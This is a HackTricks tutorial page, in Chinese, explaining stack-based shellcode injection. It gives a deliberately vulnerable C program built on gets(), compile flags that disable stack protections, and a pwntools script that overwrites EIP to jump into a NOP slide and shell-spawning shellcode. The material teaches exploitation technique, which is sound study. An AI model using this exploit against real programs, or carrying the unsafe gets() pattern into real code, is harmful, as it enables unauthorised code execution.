Stack Shellcode

支持 HackTricks

基本信息

Stack shellcode 是一种用于 二进制利用 的技术,攻击者将 shellcode 写入易受攻击程序的栈中,然后修改 指令指针 (IP)扩展指令指针 (EIP) 以指向该 shellcode 的位置,从而导致其执行。这是一种经典的方法,用于获得未授权访问或在目标系统上执行任意命令。以下是该过程的分解,包括一个简单的 C 示例以及如何使用 Python 和 pwntools 编写相应的利用代码。

C 示例:一个易受攻击的程序

让我们从一个简单的易受攻击的 C 程序示例开始:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

这个程序由于使用了 gets() 函数而容易受到缓冲区溢出攻击。

编译

要在禁用各种保护(以模拟易受攻击的环境)的情况下编译此程序,可以使用以下命令:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: 禁用栈保护。

  • -z execstack: 使栈可执行,这对于执行存储在栈上的 shellcode 是必要的。

  • -no-pie: 禁用位置无关可执行文件,使预测我们的 shellcode 将位于的内存地址更容易。

  • -m32: 将程序编译为 32 位可执行文件,通常用于简化漏洞开发。

使用 Pwntools 的 Python 漏洞

以下是如何使用 pwntools 在 Python 中编写一个 ret2shellcode 攻击的漏洞:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

这个脚本构造了一个有效载荷,由NOP滑块shellcode组成,然后用指向NOP滑块的地址覆盖EIP,确保shellcode被执行。

NOP滑块asm('nop'))用于增加执行“滑入”我们的shellcode的机会,而不管确切地址是什么。调整p32()参数为缓冲区的起始地址加上一个偏移量,以便落入NOP滑块。

保护措施

  • ASLR 应该被禁用,以确保地址在执行之间是可靠的,否则存储函数的地址不会总是相同,你需要一些泄漏来找出win函数加载的位置。

  • 栈金丝雀也应该被禁用,否则被破坏的EIP返回地址将永远不会被跟随。

  • NX 保护将阻止在栈内执行shellcode,因为该区域将不可执行。

其他示例与参考

支持HackTricks

Last updated